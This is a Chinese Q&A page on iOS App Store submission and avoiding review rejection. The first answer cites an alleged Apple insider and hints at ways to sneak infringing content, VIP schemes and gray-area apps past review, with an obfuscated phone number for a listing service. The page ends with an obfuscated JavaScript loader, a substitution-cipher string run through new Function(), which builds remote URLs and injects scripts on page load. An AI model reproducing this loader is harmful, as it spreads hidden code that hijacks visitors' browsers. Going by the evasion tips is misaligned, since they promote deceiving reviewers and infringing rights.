ios app上架流程是什么,怎样避免提交审核被拒

2024-12-05 10:51:21
推荐回答(2个)
回答1:

在之前(iOS的审核机制/算法/审核团队大揭秘)里有讲过了和苹果App Store审核内部渠道合作的过程

苹果说到审核团队,很多开发者就冒火,他们拒审App应用的理由花式上百,相信很多ios开发者被苹果的严格审核虐的体无完肤了 苹果的审核不仅仅是严格 有些审核员可以说是变态的程度 由于一些开发者耍小聪明 导致现在的审核员有些草木皆兵 即使是正常的app也很容易被误杀 从而将你列入黑名单 无论你如何解释 它始终坚持己见

2018-08-25 在继续给大家讲讲更深的苹果审核人员的那些事

苹果内容审核团队内部人员和我联系时的称呼“MR.J”

由于之前彩票上架事件,我们团队与之前的审核团队内部人员也切断了关系,将近1个月团队没有上架成功!对于团队的损失很大,于是在上周团队的给一个客户的APP添加了HealthKit的数据读写。刚好中枪,苹果审核团队不让过。情况是这样的,提交 app提交审核,app四天了才审核,然后打回来 (原因:Guideline 4.2.1 – Design – Minimum Functionality)(添加描述,问题解决。)两天后,打回来(原因:5. 1.1 Legal: Privacy – Data Collection and Storage)(回复几次都不对),这样就五天过去了。

因为苹果审核团队在美国,上班时间比我们晚十几个小时(推理出来的),晚上他们上班打回来,白天我们上班回复问题。如果问题回复错误几次。一来一回就几天过去了。

(想起之前与MR.J)一次成功的蹲守。几次提交审核就没有通过苹果审核,我决定在苹果审核的时候,只要他一打回来就马上回复并提交审核。实际结果:晚上12点睡,睡前审核团队没有审核,三点半起床检查审核团队没有审核。终于6点50起床检查。看看这个时间是美国晚上下班时间了。他们是加班时间了。因为项目拖延了很久了。今天必须要审核的我知道。我等了8分钟。果然打回来了(时间点:2018年7月3日 上午6:56)。(原因:没有填写隐私政策网址并且这个网址要求指向隐私政策)(回复:已经填写)(时间点:2018年7月3日 上午8:17)。继续等待(大概等了30分钟)。又打回来了(时间点:2017年8月3日 上午8:10),这时心里是愤怒的,审核团队改政策了,又不说清楚,我的想法就是跟它耗着。(原因:没有填写隐私政策网址并且这个网址要求指向隐私政策)(回复:http://blog.sina.com.cn/s/blog_14ecbf3940102yfjr.html隐私政策已经添加。Privacy policies have been added)(时间点:2018年7月5日 上午8:10)。我心里想,打回来,我马上回复,多试几次总可以通过地。(大概等了50分钟)终于已经上线了。

一:各位开发者必须要主动联系App Store

“不少开发者可能认为想要联系App Store会比较困难,是不是需要私人的关系。但其实不是。”MR.J说道。

事实上,App Store有几个专门的邮箱来处理这些请求,比如Appstorepromotion#apple.com和appstoremarketing#apple.com,如果开发者有想要被推荐的游戏,可以发送邮件到Appstorepromotion#apple.com。开发者在邮件里应该首先描述游戏的特点和为什么苹果应该推荐这些游戏,最好附上游戏的视频和开发者自己的宣传计划,苹果商店会有人处理这些邮件。

“有的时候可能这是一封中文的邮件,我们就会让懂中文的人去看。”据MR.J介绍,App Store全球的团队目前已经覆盖了180个国家和地区,有大约30个国际团队,涵盖60多种不同的语言。

当然,如果游戏发布之前有比较大的营销活动,编辑们也会在浏览各大游戏博客或者Youtube等网站时注意到,他们甚至会主动联系开发者们索要Demo试玩,但这种往往是少数。

总的来说,开发者有三种途径可以去主动申请获得推荐:

1.写邮件申请(强烈建议)

2.自己做PR吸引苹果编辑的注意

3.通过私人介绍

“我的游戏过审上架很久了,可是一直没有被推荐,是不是没戏了?”

审核游戏和推荐游戏的其实是两拨人

App Store的团队主要由三个不同职能的团队组成:

第一个是MR.J所在的管理团队,主要是负责机审方面,所以之前我们才能上架那么多个各类(你懂的)App。

第二个是营销团队,引导各应用市场营销方面的开发者,以确保他们能以合适的方式使用App Store所能提供的资源

第三个是编辑团队,这些人最终选出推荐位游戏,他们以团队为单位工作,根据App Store的理念,这个部门不会被外界联系到,他们需要像消费者一样根据自己的经验评测应用,判断自己对这些应用的第一印象,是否有趣。这个团队需要在不受展示效果和营销影响的情况下,选出那些消费者真正会喜欢的应用。

App Store的app审核分为两种:

  • 初审,app首次提交时的审核,即在connect后台上创建完一个新app之后的第一个提交版本,不管这个版本被打回了多少次,也不管版本号是否为1.0,只要该app没有曾通过审核的版本,就一律视为初审。游戏初审的等待时间为提交后2-3周,进入审核后持续3-5天出结果,非游戏类app的审核时间是游戏的一半左右。

  • 更新包审核,初审通过了之后再提交的所有版本无论内容变化多大、名字是否改变、图标是否改变,都视为更新包。游戏更新包从提交完毕后等待时间为3-5天,进入审核后基本上1-2天出结果。如果你的更新包进入in review状态超过3天都没有结果,那么80%会被打回。

  • 值得一提的是,如果不主动去联系苹果商店,你的游戏可能会永远得不到推荐,尤其是那些已经上线的游戏。因为审核游戏上架的人和推荐游戏的编辑团队是完全不同的。“如果你认为自己的游戏很棒,那么千万不要坐等推荐,等是等不来推荐的。”MR.J说道,“审核游戏的团队可能花在每个游戏上的时间不足半个小时,他们主要是看游戏是否有违规的地方。而推荐的编辑不同,他们会花更多的时间去玩每个游戏,一个游戏至少玩3、4个小时。”

    因此,如果开发者觉得自己的游戏真的很棒,应该是去主动联系App Store团队,而不是等着编辑去发现你们,那样的话,往往是等不到的。

    “我的游戏过几天就要公测了,现在联系苹果还来得及。”

    二:留足时间,提前申请很重要

    App Store的团队往往庞大而繁杂,而推荐的流程也会比较漫长,并且不是一个人能够决定的。因此,开发者需要至少提前三个星期提交申请(即便这样也不一定会得到推荐)。“也就是说,如果你的游戏的公测日期已经确定了,完全可以先把游戏上架,然后提前至少三周联系App Store去申请推荐,这样在时间上配合是最完美的,”MR.J告诉ios开发子,“而大部分开发者在发布前两三天才发邮件,但是收到邮件后,还需要有很多人试玩和批准,所以到最后就会导致时间有限。”

    因此,开发者要留出足够的时间和营销预算以支持相关的营销计划和公关计划,然后公布发售时间。如果想得到推荐,发邮件之后最好等一段时间,即使游戏已经通过了App Store的审核也要等待回复,必要的时候可能会需要重新规划发布的日期。如果要获得全球的App Store推荐,编辑还要向上申报给全球的团队,这样一来,需要的时间就会更久了。因此,“野心”比较大的团队更要留更多的时间。

    “为什么我的游戏在中国区获得了推荐,在东南亚却不行?”

    三:不同地区的推荐流程有差异

    由于App Store在全球各地的商店都有独立的商店,不同地区的游戏获得推荐是单独由编辑团队还是整个部门决定,需要视地区而定。比如MR.J之前所在的团队有专门管游戏分类的专家,其他地区则没有。比如中国的App Store团队有四五个编辑,他们要负责所有的中文应用,不仅仅是游戏方面,还有其他的分类。有一些比较复杂的游戏,他们可能觉得分析起来比较吃力,就会求助于美国团队。美国团队则会依据类别细分,比如如果他们需要游戏方面的帮助,就联系专门的游戏团队。

    中国的开发者要是在中国App Store上发售游戏,也可以发送中文的邮件申请,App Store收到邮件之后会转到对应地区的团队。App Store现在已经覆盖了180个国家和地区,既有MR.J之前所在的大团队,也有一个市场经理、一个编辑、一个营销专员这样的小团队。

    此外,App Store团队有专门的人负责协调跨地区的推荐,比如发现某些游戏可能吸引其他地区的消费者,该地区的团队会和总部进行交流。不过理论上虽然是这样,但App Store方面并没有十分充足的人力来面对整个全球市场,“我们得想办法让这个市场运作起来。现在在iTunes上大概有三十万以上的开发者,我们没办法顾及每一个。”MR.J说。

    “我觉得那几个大厂的游戏总被推荐,苹果是不是有所谓‘白名单’?”

    四:并没有白名单,但获得过推荐会让编辑对你更有信心。

    有不少开发者曾问过ios开发子**⒉*②*O*⒌*⒊*五*⒎*O.*零.*⒎,App Store是不是有“白名单”,即优先考虑一些开发者的游戏?

    而MR.J的回答是:“App Store没有白名单。EA和苹果的关系很好,但不是EA的每个游戏都会得到推荐。App Store对游戏不看出身。不过EA会提前把发行计划发给App Store看,他们也很了解哪些游戏会符合编辑的‘口味’。所以一般来说,这些大厂被推荐的机会确实稍大一些。但苹果也会很关注独立开发者们,力求平衡,尽量不向和苹果关系近的公司倾斜。”

    “第一次总是最困难的,”MR.J补充道,“因为游戏推荐是一向相对私人、个性的选择,因此在开发者获得过一次苹果的推荐之后,后面再获得推荐的可能性会有所提升,因为在双方交流的过程中,他们会更了解苹果希望看到什么样的游戏,而苹果的编辑也会放心推荐这些开发者的游戏而不用担心被玩家骂(笑)。”每作出一款被App Store推荐的游戏,App Store对于这位开发者的印象就更深一些,这是个良性循环。有关“白名单”的说法也是这么来的——如果有第一款被推荐就很有可能会有第二款,但被推荐的第一次这个从0到1的过程很难。

    至于外界曾一直揣测的比如苹果中意小清新风格,其实是通过自己的观察所做的猜测。“推荐是由编辑负责的,所以每个人的喜好可能不一样,不会存在一些统一的标准,但是可以肯定的是,这些游戏都是一些有特色的精品游戏,很多游戏其实不获得推荐也照样会取得很好的成绩。这其实就是一个建立信任的过程,人们都愿意和自己更了解更相信的人合作。”

    “苹果的大大们都是高高在上,不接地气,不食人间烟火的。”

    五:与App Store团队接触那么久,苹果审核怎么做才能通过?

    基础层面

    1、请适配最新版本的iOS系统

    Apple的审核人员会使用安装有最新版本及次新版本的iOS设备来审核你的app,所以哪怕你提审完毕正处于waiting for review状态时iOS推出了新版本,你的app也必须要在最新版本系统下运行正常。而对于早期版本的系统,Apple倒不是很严,所以如果你的app在iOS 6.0上有个bug始终解决不了,那就别费劲解决了。

    2、网络环境

    Apple的审核人员始终会使用WIFI和蜂窝数据网络同时开启的设备进行审核,所以请确保你的app在此状态下不会出现各种奇怪的问题。而对于诸如“在使用3G进行游戏的过程中网络突然变成WIFI时blablabla”这种极端问题,可以不要看得那么重。

    3、设备型号

    只需要测试苹果官网上买得到的设备以及其前面1代即可,不用担心审核人员从犄角旮旯摸出一台iPad1来审核。

    app前端表现

    1、黑边

    不能有黑边,注意这里有个细节,所谓的“黑边”只要不是纯黑的即可过审。换句话说,实在来不及做iPad适配就提审了,只要加个带纹理的底图来替换纯黑的边即可。

    2、一致性

    这个特指icon,connect后台、打包安装的、推送的等等各种尺寸的icon,大到1024*1024,小到12*12,需要一致。(注:connect后台的icon和打包安装时的桌面icon不一样时,有25%概率可以过审,船长怀疑是审核时部分审核人员先审查完app本身再去看后台时没有进行icon对照)

    3、名字

    名字长度没有严格限制,只要你能写得下就可以,但是最近半年对过度利用名字做ASO会打击。名字的一致性方面,connect后台里填写的名字和安装后的显示在设备上的名字可以在表达意思一致的情况下有一些不同。一般是出于美观目的,在icon下方显示4-5个汉字是最合适的,如果超长了,可以考虑缩减,但是表达的意思需要一致。这里面举两个例子:《植物大战僵尸》安装之后叫《PVZ》、《パズル&ドラゴンズ》(智龙迷城)安装之后叫《P&D》。

    4、启动背景

    点击设备上的app图标开启app后,loading过程中需要有背景图,不允许黑屏等loading。

    5、demo问题

    在无论任何地方,包括但不限于connect后台、游戏内功能、名称、副标题、公告、服务器名称中,都不允许出现诸如“demo”、“测试”、“试用”等类似的标识。

    功能层面

    1、功能要完整

    比如说你是个RPG,那你提审的时候起码得可以完成任务、战斗、升级、获得奖励,不能是一个莫名其妙的未完成品。

    2、账号和隐私

    要知道Apple是一家非常注意用户隐私保护的公司,所以当你的app需要注册账号,且注册的过程中需要用户提供包括但不限于邮箱、手机、身份证一类私人信息时,必须在注册模块提供隐私协议。且必须提供游客模式,要保障用户在不提供隐私信息注册账号时,也能够完整使用app的所有功能。

    3、新手引导

    Apple的审核人员不玩新手引导,所以最好没有新手引导或可跳过,或者给他们提供已经完成了新手引导的测试账号。

    4、条件开启和未完成功能

    app里不允许出现“暂未开放”或“敬请期待”或干脆有个按钮点击了没反应的情况。如果提审时有类似的问题,请把入口直接干掉,哪怕界面上空一块也没有关系。

    5、H5

    H5不能过审,不用尝试了。说到理由的话,加壳的H5其实就是一个有快捷方式的网页啊,内容随便改完全不受Apple控制。这种很危险的事情是不能允许的。

    6、等级开启

    如果游戏里有“30级开启”或“完成3-1关卡后开启”这类的功能,那么请提供高级测试账号。

    7、第三方

    这条Apple经常会说,并且会特意问是否调用第三方内容,所以从理论上来说,你的app里面可以调用其他非Apple官方的app是不允许的。但是这一块监管并不严,所以你只需要考虑好审核人员从你的app里使用了调用其他app的功能,碰巧审核人员的设备上没装那个app的时候怎么办。

    8、反三俗

    诸如后宫系统、爆衣系统、RY系统之类的东西会造成悲剧。

    iap

    1、类型需要选对

    我们常见的钻石和元宝都是消耗型,别选错了。

    2、名字要一致,描述要严谨

    游戏的商品名字和connect后台的商品名称要保持一致或较高的可辨识性,别出现游戏里叫“一小袋钻石”而后台叫“coin1”这种。后台填写的iap描述里写清楚怎么买、获得什么东西、给多少个、东西怎么拿到,对你过审会有额外帮助。

    3、不允许买A送B

    举例来说,买500钻石送50钻石可以,买500钻石送1张10块充值卡不行。

    4、月卡

    月卡是困扰很多开发者的东西,这里专门展开说一下。Apple对于月卡商品打回的概率非常高,这里并不是说Apple不允许开发者设置月卡。我们来看看主要打回月卡的几个原因:

  • 对定价和钻石获取量存疑。举例来说,你30元买的是300钻石,但是25元月卡基础就给300,之后还能每天领120。Apple会充满善意地怀疑你这里有什么猫腻。

  • 在Apple的理解中,月卡是购买成功之后每天领取一次,一个月到期的。那么你需要将iap类型设定为“非自动续订型订阅”,但是很遗憾,这种商品类型并不适用于我们目前大多数策划人员对于月卡的设计。

  • 那么月卡如何过审呢?

    现在各家有各家的办法,只是都不太好拿上台面来说罢了。其实只要看看目前大多数游戏里都对月卡的名称和描述如何定义,你大概也就能心领神会了。

    connect后台资料相关

    1、版权问题

    如果你的游戏拿了正版IP,那请提前准备好授权文件并在review note里提供。如果没有版权,那么名字和icon、卖场图就不要打擦边球。看到这里你可能会说,现在中国区那么多山寨侵权游戏不都好好的在榜单上么?这里也简单说明一下他们是怎么过审的:

  • 在过去,往近了说去年的时候,Apple对于版权问题的管理还不是很严格,所以在那个时候就已经过审上架,并主要以热更新为主要更新方式的,都还活得好好的。

  • 船长在开头说过,初审和更新包的审核尺度差很多,且更新包审核较多时候依赖于审核人员的个人判断,所以在更新包审核时会有部分侵权内容成为漏网之鱼。

  • 聪明的开发者智慧地采取了一些手段来避免Apple看到侵权的东西。这里不展开说了。

  • 2、官网、客服等资料

    官网的资料中严格地不允许出现“越狱”相关的字眼以及越狱版本的下载地址,安卓版本最好也别有。

    3、尺度,哦不,耻度问题

    icon和卖场图的妹子暴露程度和表情挑逗程度受严格控制。别说什么“我的游戏设置的年龄是16+”这类的理由,审核人员会告诉你,很抱歉你的游戏虽然是16+,但是appstore商城是全年龄用户可用的,所以你的icon和卖场图必须符合4+这个设定。

    另外最近半年的审核条例修改中也说过在icon和卖场图里禁止出现烟、酒、武器等,但是目前还没有发现对这几类有过严的要求。

    4、卖场图的细节问题

    根据审核条例,会要求卖场图“必须使用没有经过修改的app实际截图”,但是船长发现,其实只在初审的时候会对这一点要求比较严格,在更新包审核时只要不修图修得太过分、不使用太暴露的妹子,基本上都没什么问题。

    特别说之

    1、VIP

    严格来说并不是禁止所有的VIP功能,看你游戏里的VIP功能是否违反审核条例主要看以下几点:

  • VIP的获得方式是否为充钱时得到VIP经验,充的越多等级越高。如果是的话,很抱歉你违反了“禁止买A送B这条”,你买的是钻石,不能送VIP经验。

  • VIP等级不同是否会给用户带来额外的收益。如果是的话,很抱歉你违反了“对所有用户而言必须公平’这个原则。

  • 看到这里你可能又要问了,那么多的游戏里明明VIP是标配的啊!?这个问题船长前面说版权的时候提到过了,智慧的开发者们总会有办法的。

    2、兑换码 or 激活码 or CDKEY or 预注册

    这几个统统不允许,原因是违反了公平原则。并非所有用户都可以获得这些码,所以对一部分用户来说是不公平的。

    3、评论

    禁止以任何手段诱导用户评论,同样分开说:

  • 不可以用任何好处来诱导用户去评论,比如游戏里有个任务是去评论,比如评论后给30钻石。

  • 不可以用任何修辞方式让用户去给5★评价。比如说:“请给我们五星”“请给我们好评”都不可以。而“请给我们个评价”这样的可以。

  • 4、IDFA

    广告主识别码,在Apple禁止开发者获取MAC地址之后,普遍开始采用IDFA去做设备识别。但是Apple会要求专码专用,你调用了IDFA,就一定要打广告。这个问题有些情况下靠解释可以过审,但是最简单快捷的方法是在不起眼的地方放个广告,然后在review note里告诉审核的人广告在哪里就好了。

    Last but not least

    上面说的这些东西都注意了之后,基本上可以保证你的app能够有90%以上的过审概率,那么剩下的10%是什么呢?就是猪队友猪队友猪队友(重要的话说三遍)!

回答2:

  1. 需要先注册一个苹果开发者账号;如果你是个人,就注册个人开发者,如果是公司就要认证公司开发者,上传商业性质的APP必须认证公司;

  2. 给苹果公司付费688元的年费,之后开通苹果开发者账号;

  3. 使用苹果开发者账号制作APP的上架证书;

  4. 使用苹果上架证书打包APP,得到上架版的IPA包;

  5. 使用苹果电脑,上传IPA包到itunesconnect;

  6. 在itunesconnect里面完善上架需要的文字和图片资料;

  7. 资料和包都提交了,就耐心等待苹果官方审核;

  8. 苹果官方审核通过之后,就可以在苹果appstore里面去搜索下载啦;

整个流程还是比较复杂的,如果你没有涉及到IOS,没有做过上架appstore,建议你找一门app代上架平台来做整个上架服务!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();